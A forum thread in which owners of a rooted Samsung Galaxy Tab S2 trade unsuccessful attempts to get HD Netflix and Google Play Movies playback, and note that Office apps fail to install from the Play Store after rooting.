Same problem, using a systemless root on my T710, with stock kernel, 5.1.1. and TWRP installed. I can get Netflix to work, but nothing seems to work to get it to HD instead of 480p. I'm wondering if the folks who get HD on rooted T710s are running 5.0.2?
Click to expand...
Click to collapse
I tried this on the stock 5.0.2 ROM, but to no avail. I've exhausted every resource I could find on the subject over the past couple of weeks, and I couldn't find a solution to this. Just removing root doesn't help either, as having even a custom recovery will disallow you from watching HD Netflix. I'm guessing perhaps the issue has something to do with messing around with the bootloader.
I wiped the tablet clean a couple of days ago and went back to stock. The bloatware sucks, but its the price to pay to get Netflix and Google Play videos working in HD again.
troyraf said:
I wiped the tablet clean a couple of days ago and went back to stock. The bloatware sucks, but its the price to pay to get Netflix and Google Play videos working in HD again.
Click to expand...
Click to collapse
Wow. That IS a heavy price. I can't give up Xposed or GMD Gesture Control, so I guess I'm living with 480p. Sigh. Thanks for your efforts (saving me some of that process!)
Some weird stuff with this device once you flash TWRP and root. Also just found out that Microsoft Office apps, notwithstanding that they come pre-loaded on the device, won't load. Uninstall, wipe data, etc. and go to Play Store to re-install and I get the message that the app (e.g., Word, Excel, Powerpoint) is not compatible with my device! Had to sideload apks from my phone (or you can also change your device ID).
Wonder what else I'll find out in the days ahead?
rogerinnyc said:
Wow. That IS a heavy price. I can't give up Xposed or GMD Gesture Control, so I guess I'm living with 480p. Sigh. Thanks for your efforts (saving me some of that process!)
Some weird stuff with this device once you flash TWRP and root. Also just found out that Microsoft Office apps, notwithstanding that they come pre-loaded on the device, won't load. Uninstall, wipe data, etc. and go to Play Store to re-install and I get the message that the app (e.g., Word, Excel, Powerpoint) is not compatible with my device! Had to sideload apks from my phone (or you can also change your device ID).
Wonder what else I'll find out in the days ahead?
Click to expand...
Click to collapse
RE: Office apps, that's the other head scratching thing I happened to come upon when I first got the tablet. Although GPlay Store will say that the apps need updating, it won't actually allow you to do so - this needs to be done via Galaxy Apps. It makes no sense considering the device is listed as compatible for these apps, and the apps come pre-installed. Its definitely an issue if you have a ROM that removes all the bloatware. Its also a bit frustrating because these "Galaxy Apps" are slower to update than their GPlay counterparts.
If you don't mind me asking, what ROM are you currently using? Have you also tried GPlay videos to see if they play in HD?
Also, do bump this thread if you happen to find any fixes. It will be much appreciated.
Sheesh. I hadn't even tried GPlay movies before your post. Upon testing, I can't get them to play in ANY resolution on my rooted tab S2! Renamed liboemcrypt.so without luck. Edited my boot.prop file to identify as a Nexus 10. No go. Tried Root Cloak. Ixnay. Any other thoughts?
I'm on stock 5.11, with systemless root using Su 2.71.
Also particularly bizarre that there is no problem with Google Play Movies on my rooted Tab S 10.5 (running stock 5.0.2) or on my rooted Note 4 (running stock 5.1.1). What's with this new Tab S2?
rogerinnyc said:
Sheesh. I hadn't even tried GPlay movies before your post. Upon testing, I can't get them to play in ANY resolution on my rooted tab S2! Renamed liboemcrypt.so without luck. Edited my boot.prop file to identify as a Nexus 10. No go. Tried Root Cloak. Ixnay. Any other thoughts?
I'm on stock 5.11, with systemless root using Su 2.71.
Also particularly bizarre that there is no problem with Google Play Movies on my rooted Tab S 10.5 (running stock 5.0.2) or on my rooted Note 4 (running stock 5.1.1). What's with this new Tab S2?
Click to expand...
Click to collapse
Try deleting liboemcrypto.so, see if that works. Suggest backing a copy up first. Seems like some get GPlay videos to work by renaming the file, and some by deleting it.
I went thru the root process again, and realized these devices already come with the bootloader unlocked, so the issue isn't the bootloader. I'm stumped. Having no root is so limiting.